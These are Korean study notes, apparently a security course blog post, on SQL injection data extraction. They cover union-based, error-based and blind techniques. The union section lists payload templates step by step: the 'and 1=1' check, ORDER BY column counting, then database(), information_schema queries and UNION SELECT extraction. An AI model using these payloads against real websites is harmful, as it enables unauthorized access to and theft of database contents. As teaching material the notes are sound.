수업

[수업] 3주차

본캐 2022. 10. 31. 16:45

SQLi데이터 추출 2가지

> 질의문 결과가 화면에 출력되는 경우

* 게시글, 주소검색기능 *


Union sqli



> Error 메세지가 화면에 출력하는 경우


Error based sqli

 


> 질의문 결과가 화면에 출력되지 않는 경우


Blind sqli
* 추출하는 속도가 느리다 *

 



1. Union

앞에 있는 SELECT문과 컬럼수가 같아야한다.

select 1,2,3~~ union select 1,2,3 => o
select 1,2~~ union select 1,2,3 => x

 

 


 ** 공격 순서 **

 

 

① 취약점 확인

'검색내용' and 1=1

=>문제없이 출력된다면 취약점 존재

 


② 컬럼 개수 파악


order by [컬럼이름, 숫자]

select ~ order by 7 #
=> 7부터 더 이상 조회가 안된다 = [컬럼 6개만 존재]

 


③ 데이터 출력 위치 파악

select ( 컬럼 6개 ) ~~ union select 1,2,3,4,5,6 #

=>출력되는 컬럼 위치 확인



④ DB 이름 확인

> select database()

union select database(),2,3,4,5,6 #



⑤ 테이블 이름 확인

union select table_name,2,3,4,5,6 from information_schema.tables
where table_schema = [' DB이름 '] #


⑥ 컬럼 이름 확인

union select column_name from information_schema.columns where table_name=[' 테이블명 '] #

 


⑦ 데이터 추출


> select ( 컬럼 6개 ) ~~ union select 1,2,3,4,5,6 #

1,4,5 출력된다면
select ( 컬럼 6개 ) ~~ union select [컬럼1],2,3,[컬럼2],[컬럼3],6 from [' 테이블명 '] #

 

 


2. Error based sqli


에러가 출력된 곳에서만 사용가능
(화면, 소스코드에서 에러 출력)

※논리 에러※ 를 발생시켜야한다.

[+] 논리 에러 -> 실행하다 발생한 에러
[+] 문법 에러 -> 문법이 틀려 발생한 에러

** 공격 순서 **

① 에러 메세지 확인

② 에러 출력할 함수 선정

③ DB 이름 확인

④ 테이블 이름 확인

⑤ 컬럼 이름 확인

⑥ 데이터 추출

구글링으로 직접찾고 해보면서 이해하자.